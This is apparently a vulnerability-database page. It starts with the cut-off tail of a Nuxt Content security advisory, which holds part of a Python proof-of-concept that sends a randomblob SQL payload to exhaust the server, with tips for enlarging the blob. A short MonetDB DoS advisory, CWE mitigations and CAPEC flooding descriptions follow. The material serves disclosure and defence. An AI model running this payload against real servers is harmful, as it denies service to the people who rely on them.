comparison\")\n    print(\"    assertSafeQuery() passes: no SQL_COMMANDS keyword found in WHERE\")\n    print(\"    Sink: better-sqlite3 db.prepare(sql).all() executes unconditionally\")\n    print()\n    print(\"  Sending request ...\")\n    status2, t2, body2 = post_query(host, port, MALICIOUS_SQL)\n    print(f\"  Status: {status2}   Time: {t2:.4f}s\")\n    if status2 == 200:\n        rows2 = json.loads(body2)\n        print(f\"  Rows returned: {len(rows2)}  (assertSafeQuery() did NOT reject this query)\")\n    else:\n        print(f\"  Response: {body2[:200]}\")\n\n    # ------------------------------------------------------------------\n    # Step 3: Report\n    # ------------------------------------------------------------------\n    print()\n    print(\"[RESULT]\")\n    print(f\"  Baseline time  : {t1:.4f}s\")\n    print(f\"  Attack time    : {t2:.4f}s\")\n    ratio = (t2 / t1) if t1 \u003e 0 else float(\"inf\")\n    print(f\"  Slowdown ratio : {ratio:.1f}x\")\n    print()\n\n    accepted = status2 == 200\n    slow_enough = t2 \u003e= ATTACK_MIN_SECONDS\n\n    if accepted and slow_enough:\n        print(\"[PASS] VULNERABILITY CONFIRMED\")\n        print(f\"  1. assertSafeQuery() ACCEPTED the malicious payload (no 400 error)\")\n        print(f\"  2. SQLite executed randomblob(100000000); observed {t2:.4f}s execution time\")\n        print(f\"  3. Time delta confirms resource exhaustion: {t2:.4f}s vs baseline {t1:.4f}s\")\n        print(f\"  4. Unauthenticated attacker can chain requests to exhaust server CPU/memory\")\n        sys.exit(0)\n    elif accepted and not slow_enough:\n        print(\"[WARN] Payload was ACCEPTED but execution was faster than threshold\")\n        print(f\"  accepted={accepted}, time={t2:.4f}s, threshold={ATTACK_MIN_SECONDS}s\")\n        print(\"  Try increasing the blob size in MALICIOUS_SQL (e.g. 200000000)\")\n        sys.exit(1)\n    else:\n        print(f\"[FAIL] Unexpected result: accepted={accepted}, time={t2:.4f}s\")\n        print(f\"  Response body: {body2[:300]}\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Affected versions\nAll `@nuxt/content` v3 releases before `3.15.2` are affected (`\u003e= 3.0.0, \u003c 3.15.2`). The report was reproduced against `3.15.1`, but the same `WHERE` clause validation gap exists in every earlier v3 release; `3.0.0` performed no query validation at all.\n\nFully static (prerendered, no server) deployments are not affected.\n\n### Patches\nFixed in `3.15.2` (#3819): function calls are rejected in query `WHERE` clauses. Subsequent releases harden validation further \u2014 `3.16.1` removes a ReDoS in `assertSafeQuery` (#3851) and `3.16.2` only accepts `WHERE` clauses matching the exact output of the query builder (#3862, #3877). Upgrading to the latest version (`\u003e= 3.16.2`) is recommended.\n\n### Workarounds\nIf you cannot upgrade, block or restrict access to `POST /__nuxt_content/*/query` at the proxy/WAF level, or prerender the site so the endpoint is not deployed.\n\n### Credits\nAlso independently reported by @Pig-Tail (GHSA-c739-vwm9-rgx3) and @maru1009 (as part of GHSA-wjh8-qcrm-wf29).",
  "id": "GHSA-xxrh-5hgg-gj4h",
  "modified": "2026-11-10T15:57:12Z",
  "published": "2026-11-10T15:57:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/content/security/advisories/GHSA-xxrh-5hgg-gj4h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102650"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/content/pull/3819"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/content/commit/847d523a48e76d861175b325abf0de40dc5864ed"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nuxt/content"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/content/releases/tag/v3.15.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nuxt Content: Unauthenticated SQLite Function DoS via Content Query API"
}

GHSA-XXXP-8X92-F69V

Vulnerability from github – Published: 2023-06-22 15:30 – Updated: 2024-04-04 05:01
VLAI
Details

An issue in the BLOBcmp component of MonetDB Server v11.45.17 and v11.46.0 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-36367"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-22T14:15:09Z",
    "severity": "HIGH"
  },
  "details": "An issue in the BLOBcmp component of MonetDB Server v11.45.17 and v11.46.0 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.",
  "id": "GHSA-xxxp-8x92-f69v",
  "modified": "2024-04-04T05:01:00Z",
  "published": "2023-06-22T15:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36367"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MonetDB/MonetDB/issues/7380"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Requirements

Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.

Mitigation
Architecture and Design

Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation MIT-38.1
Architecture and Design Implementation
  • If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
  • Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Operation Architecture and Design

Strategy: Resource Limitation

  • Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
  • When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
  • Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding

An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.

CAPEC-130: Excessive Allocation

An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-197: Exponential Data Expansion

An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.

CAPEC-229: Serialized Data Parameter Blowup

This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.

CAPEC-230: Serialized Data with Nested Payloads

Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.

CAPEC-231: Oversized Serialized Data Payloads

An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.

CAPEC-469: HTTP DoS

An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.

CAPEC-482: TCP Flood

An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.

CAPEC-486: UDP Flood

An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.

CAPEC-487: ICMP Flood

An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.

CAPEC-488: HTTP Flood

An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.

CAPEC-489: SSL Flood

An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.

CAPEC-490: Amplification

An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.

CAPEC-491: Quadratic Data Expansion

An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.

CAPEC-493: SOAP Array Blowup

An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.

CAPEC-494: TCP Fragmentation

An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.

CAPEC-495: UDP Fragmentation

An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.

CAPEC-496: ICMP Fragmentation

An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.

CAPEC-528: XML Flood

An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.